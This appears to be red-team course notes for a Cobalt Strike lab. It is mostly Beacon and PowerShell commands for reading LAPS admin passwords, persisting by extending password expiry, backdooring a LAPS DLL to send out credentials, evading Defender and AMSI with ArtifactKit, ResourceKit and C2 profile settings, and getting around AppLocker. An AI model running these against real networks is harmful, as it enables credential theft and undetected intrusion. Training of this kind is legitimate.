Local Administrator Password Solution (LAPS)
identify LAPS
If your computer is using LAPS there should be a C:\Program Files\LAPS\CSE\AdmPwd.dll.
# search for GPOs with laps in their name
beacon> powershell Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl
# search for computers where the LAPS timer is set
beacon> powershell Get-DomainComputer | ? { $_."ms-Mcs-AdmPwdExpirationTime" -ne $null } | select dnsHostNameAfter we found the GPO we can get the LAPS-Configuration from the DC:
beacon> ls \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine
beacon> download \\dev.cyberbotic.io\SysVol\dev.cyberbotic.io\Policies\{2BE4337D-D231-4D23-A029-7B999885E659}\Machine\Registry.pol
# get laps admin account
PS C:\Users\Attacker> Parse-PolFile .\Desktop\Registry.pol
# get LAPS useraccount
PS C:\Users\Attacker> Parse-PolFile .\Desktop\Registry.polDiscover which principals are allowed to read the LAPS attribute:
beacon> powershell Get-DomainComputer | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ObjectAceType -eq "ms-Mcs-AdmPwd" -and $_.ActiveDirectoryRights -match "ReadProperty" } | select ObjectDn, SecurityIdentifier
# again, convert SID into human readable names
beacon> powershell ConvertFrom-SID S-1-5-21-569305411-121244042-2357301523-1107automated tooling is available:
beacon> powershell-import C:\Tools\LAPSToolkit\LAPSToolkit.ps1
beacon> powershell Find-LAPSDelegatedGroups
beacon> powershell find-AdmPwdExtendedRightsread admin password through LAPS
if we have a user that can read laps:
beacon> powershell Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd
# impersonate the admin user
beacon> make_token .\LapsAdmin 1N3FyjJR5L18zaset expiration time far in the future
Typically the LAPS password is cycled over after 30 days. If we are able to compromise a computer we can update the time into the future (form of persistence)
# get expiration time
beacon> powershell Get-DomainComputer -Identity wkstn-1 -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime
# set expirateion time in the far future
beacon> powershell Set-DomainObject -Identity wkstn-1 -Set @{'ms-Mcs-AdmPwdExpirationTime' = '136257686710000000'} -Verboseyou can add a LAPS backdoor by fixing a DLL
- if
Get-AdmPwdPasswordis in use, placed inc:\Windows\System32\WindowsPowerShell\v1.0\Modules\AdmPwd.PS\ - download
AdmPwd.PS.dllandAdmPwd.Utils.dll- add HTTP GET call with credentials within
GetPassword
- add HTTP GET call with credentials within
Microsoft Defender Antivirus
Different kinds of detections:
- on-disk
- in-memory
- behavioural
file-based detection
Use ArtifactKit to bypass protection, in C:\Tools\cobaltstrike\arsenal-kit\kits\artifact
/mnt/c/Tools/cobaltstrike/artifact/build.sh pipe VirtualAlloc 277492 5 false false /mnt/c/Tools/cobaltstrike/artifacts- use cobalt strike > script manager > Load and select the CNA
- use payloads > windows stageless generate all payloads
memory-based detection (ASMI)
again check for bad strings:
PS C:\Users\Attacker> C:\Tools\ThreatCheck\ThreatCheck\bin\Debug\ThreatCheck.exe -f C:\Payloads\smb_x64.ps1 -e AMSIUse ResourceKit to bypass:
C:\Tools\cobaltstrike\arsenal-kit\kits\resource
./build.sh /mnt/c/Tools/cobaltstrike/resources- use cobalt strike > script manager > load and select the CNA
- regenerate payloads
AMSI vs. post-exploitation
Other commands can also be influenced by AMSI: powershell, powerpick, execute-assembly
beacon> remote-exec winrm fs Get-MpThreatDetectionIn this case, the Beacon payload spawned powershell.exe and attempted to load PowerView.ps1 into it. This was detected by AMSI and killed. Defender also goes one step further and kills the process that spawned it (our Beacon), which is why we immediately lose the link to it.
modify configuraton on team server
attacker@ubuntu ~/cobaltstrike> vim c2-profiles/normal/webbug.profile
Right above the http-get block, add the following:
post-ex {
set amsi_disable "true";
}
and verify configuration:
attacker@ubuntu ~/cobaltstrike> ./c2lint c2-profiles/normal/webbug.profile amsi_disable only applies to powerpick, execute-assembly and psinject. It does not apply to the powershell command.
Behavioral Detection
beacon> spawnto x64 %windir%\sysnative\dllhost.exe
beacon> spawnto x86 %windir%\syswow64\dllhost.exe# this will show our own process name
beacon> powerpick Get-Process -Id $pid | select ProcessName
# now this should work without triggering AMSI
beacon> powershell-import C:\Tools\PowerSploit\Recon\PowerView.ps1
beacon> powerpick Get-Domain
# reset back to defaultS
beacon> spawnto
# this changes the spawnto used by psexec
beacon> ak-settings spawnto_x64 C:\Windows\System32\dllhost.exe
beacon> ak-settings spawnto_x86 C:\Windows\SysWOW64\dllhost.exeyou con configure this in the c2 profile
post-ex {
set amsi_disable "true";
set spawnto_x64 "%windir%\\sysnative\\dllhost.exe";
set spawnto_x86 "%windir%\\syswow64\\dllhost.exe";
}
App-Locker
AppLocker is an application whitelisting technology that is built into the Windows Operating System. Its purpose is to restrict applications and scripts that are allowed to run on a machine, defined through a set of policies which are pushed via GPO. Rules can be based on file attributes such as publisher, name, version, hash or path; they can be to “allow” or deny”; and can be assigned on an individual user or group basis.
AppLocker will also change the PowerShell Language Mode from FullLanguage to ConstrainedLanguage. This restricts the .NET types that can be used, preventing Add-Type with any arbitrary C# as well as New-Object on types that are not specifically permitted.
analyse applocker policy
beacon> powershell Get-DomainGPO -Domain dev-studio.com | ? { $_.DisplayName -like "*AppLocker*" } | select displayname, gpcfilesyspath
beacon> download \\dev-studio.com\SysVol\dev-studio.com\Policies\{7E1E1636-1A59-4C35-895B-3AEB1CA8CFC2}\Machine\Registry.polPolicies are within ValueData fields
You can get the enforcement mode out of the local registry:
PS C:\Users\Administrator> Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2"
PS C:\Users\Administrator> Get-ChildItem "HKLM:Software\Policies\Microsoft\Windows\SrpV2\Exe"You can chekc the language mode through powershell:
PS C:\Users\Administrator> $ExecutionContext.SessionState.LanguageModewriteable paths
The default rules allow execution from anywhere within C:\Program Files and C:\Windows (including subdirectories). If you’re on a protected machine as a standard user, there are several directories within C:\Windows that are writeable.
beacon> powershell Get-Acl C:\Windows\Tasks | flwrite binaries there. Otherwise use lolbas
- example with
MSBuild
get out of Constricted Language Mode?
beacon> powerpick $ExecutionContext.SessionState.LanguageModeYou can do this with msbuild and c# too (see slides)